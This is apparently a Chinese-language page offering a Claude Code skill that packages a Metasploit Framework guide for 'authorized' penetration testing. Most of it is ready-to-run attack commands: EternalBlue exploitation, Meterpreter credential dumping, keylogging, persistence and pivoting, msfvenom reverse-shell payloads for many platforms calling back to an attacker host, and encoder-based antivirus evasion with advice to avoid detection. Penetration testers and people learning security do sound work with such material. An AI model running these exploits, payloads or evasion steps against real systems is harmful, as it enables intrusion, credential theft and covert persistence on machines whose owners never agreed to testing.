关于 metasploit-framework
这是一份面向授权渗透测试的 Metasploit Framework 实用指南,涵盖漏洞利用、载荷、扫描及通过 MSFConsole 和 Meterpreter 开展的后渗透操作。
主要功能
- 01漏洞利用与载荷模块流程
- 02模块搜索和配置
- 03辅助侦察扫描
- 04Meterpreter 会话操作
- 05生成独立载荷
适用场景
- 01准备授权漏洞评估
- 02使用辅助模块扫描目标
- 03为限定范围的测试生成载荷
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ zebbern/ claude-code-guide --skill metasploit-framework安装后在 Claude Code 中输入/metasploit-framework确认已加载。
详细介绍
Metasploit Framework
用途
借助 Metasploit Framework 开展全面的渗透测试,涵盖从初始利用到利用后活动的各个阶段。Metasploit 提供统一平台,可用于漏洞利用、载荷生成、辅助扫描,以及在经授权的安全评估期间维持对已攻陷系统的访问。
前提条件
必需工具
# Metasploit comes pre-installed on Kali Linux
# For other systems:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
# Start PostgreSQL for database support
sudo systemctl start postgresql
sudo msfdb init
必备知识
- 网络和系统基础知识
- 了解漏洞和漏洞利用
- 基本编程概念
- 目标枚举技术
必需权限
- 书面测试授权
- 访问目标系统的网络权限
- 了解测试范围和交战规则
输出和交付物
- 利用证据 - 成功攻陷系统的屏幕截图和日志
- 会话日志 - 命令历史记录和提取的数据
- 漏洞映射 - 已利用的漏洞及其 CVE 引用
- 利用后产物 - 凭据、文件和系统信息
核心工作流
阶段 1:MSFConsole 基础
启动并浏览 Metasploit 控制台:
# Start msfconsole
msfconsole
# Quiet mode (skip banner)
msfconsole -q
# Basic navigation commands
msf6 > help # Show all commands
msf6 > search [term] # Search modules
msf6 > use [module] # Select module
msf6 > info # Show module details
msf6 > show options # Display required options
msf6 > set [OPTION] [value] # Configure option
msf6 > run / exploit # Execute module
msf6 > back # Return to main console
msf6 > exit # Exit msfconsole
阶段 2:模块类型
了解不同的模块类别:
# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version
# 4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump
# 5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai
# 6. Nops - No-operation padding for buffer overflows
msf6 > show nops
# 7. Evasion - Bypass security controls
msf6 > show evasion
阶段 3:搜索模块
为目标查找合适的模块:
# Search by name
msf6 > search eternalblue
# Search by CVE
msf6 > search cve:2017-0144
# Search by platform
msf6 > search platform:windows type:exploit
# Search by type and keyword
msf6 > search type:auxiliary smb
# Filter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent
# Combined search
msf6 > search type:exploit platform:linux apache
# View search results columns:
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
阶段 4:配置漏洞利用模块
设置漏洞利用模块以供执行:
# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# View required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
# Set target host
msf6 exploit(...) > set RHOSTS 192.168.1.100
# Set target port (if different from default)
msf6 exploit(...) > set RPORT 445
# View compatible payloads
msf6 exploit(...) > show payloads
# Set payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Set local host for reverse connection
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444
# View all options again to verify
msf6 exploit(...) > show options
# Check if target is vulnerable (if supported)
msf6 exploit(...) > check
# Execute exploit
msf6 exploit(...) > exploit
# or
msf6 exploit(...) > run
阶段 5:载荷类型
根据情况选择合适的载荷:
# Singles - Self-contained, no staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp
# Stagers - Small payload that downloads larger stage
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
# Stages - Downloaded by stager, provides full functionality
# Meterpreter, VNC, shell
# Payload naming convention:
# [platform]/[architecture]/[payload_type]/[connection_type]
# Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp
阶段 6:Meterpreter 会话
使用 Meterpreter 开展利用后活动:
# After successful exploitation, you get Meterpreter prompt
meterpreter >
# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
# File System Operations
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\
# Process Management
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]
# Networking
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
# Privilege Escalation
meterpreter > getsystem
meterpreter > getprivs
# Credential Harvesting
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector
# Screenshots and Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
# Shell Access
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >
# Background Session
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1
阶段 7:辅助模块
使用辅助模块进行侦察:
# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run
# Port Scanner
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run
# SSH Version Scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run
# FTP Anonymous Login
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run
# HTTP Directory Scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run
# Brute Force Modules
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run
阶段 8:利用后模块
在活动会话上运行利用后模块:
# List sessions
msf6 > sessions -l
# Run post module on specific session
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run
# Or run directly from Meterpreter
meterpreter > run post/windows/gather/hashdump
# Common Post Modules
# Credential Gathering
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds
# System Enumeration
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs
# Privilege Escalation
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester
# Persistence
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence
# Pivoting
post/multi/manage/autoroute
阶段 9:使用 msfvenom 生成载荷
创建独立载荷:
# Basic Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
# WAR file (Tomcat)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
# Encoded payload (evade AV)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
# List available formats
msfvenom --list formats
# List available encoders
msfvenom --list encoders
阶段 10:设置处理器
配置用于接收传入连接的监听器:
# Manual handler setup
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
# The -j flag runs as background job
msf6 > jobs -l
# When payload executes on target, session opens
[*] Meterpreter session 1 opened
# Interact with session
msf6 > sessions -i 1
快速参考
MSFConsole 基本命令
| 命令 | 说明 |
|---|---|
search [term] | 搜索模块 |
use [module] | 选择模块 |
info | 显示模块信息 |
show options | 显示可配置选项 |
set [OPT] [val] | 设置选项值 |
setg [OPT] [val] | 设置全局选项 |
run / exploit | 执行模块 |
check | 检查目标是否存在漏洞 |
back | 取消选择模块 |
sessions -l | 列出活动会话 |
sessions -i [N] | 与会话交互 |
jobs -l | 列出后台任务 |
db_nmap | 使用数据库运行 nmap |
Meterpreter 基本命令
| 命令 | 说明 |
|---|---|
sysinfo | 系统信息 |
getuid | 当前用户 |
getsystem | 尝试提升权限 |
hashdump | 导出密码哈希 |
shell | 切换到系统 shell |
upload/download | 文件传输 |
screenshot | 截取屏幕 |
keyscan_start | 启动键盘记录器 |
migrate [PID] | 切换到其他进程 |
background | 将会话置于后台 |
portfwd | 端口转发 |
常见漏洞利用模块
# Windows
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac
# Linux
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec
# Web Applications
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console
约束和限制
法律要求
- 仅在自有系统或已获书面测试授权的系统上使用
- 记录所有测试活动
- 遵守交战规则
- 向相关方报告所有发现
技术限制
- 现代 AV/EDR 可能会检测到 Metasploit 载荷
- 某些漏洞利用需要特定的目标配置
- 防火墙规则可能会阻止反向连接
- 并非所有漏洞利用都适用于所有目标版本
操作安全
- 尽可能使用加密通道(reverse_https)
- 测试后清理产物
- 避免被监控系统检测到
- 将利用后活动限制在约定范围内
故障排除
| 问题 | 解决方案 |
|---|---|
| 数据库未连接 | 运行 sudo msfdb init,启动 PostgreSQL,然后运行 db_connect |
| Exploit 失败/未建立会话 | 运行 check;验证 payload 架构;检查防火墙;尝试不同的 payload |
| 会话立即结束 | 迁移到稳定进程;使用无阶段 payload;检查 AV;使用 AutoRunScript |
| Payload 被 AV 检测到 | 使用编码选项 -e x86/shikata_ga_nai -i 10;使用规避模块;使用自定义模板 |
评论
支持 Markdown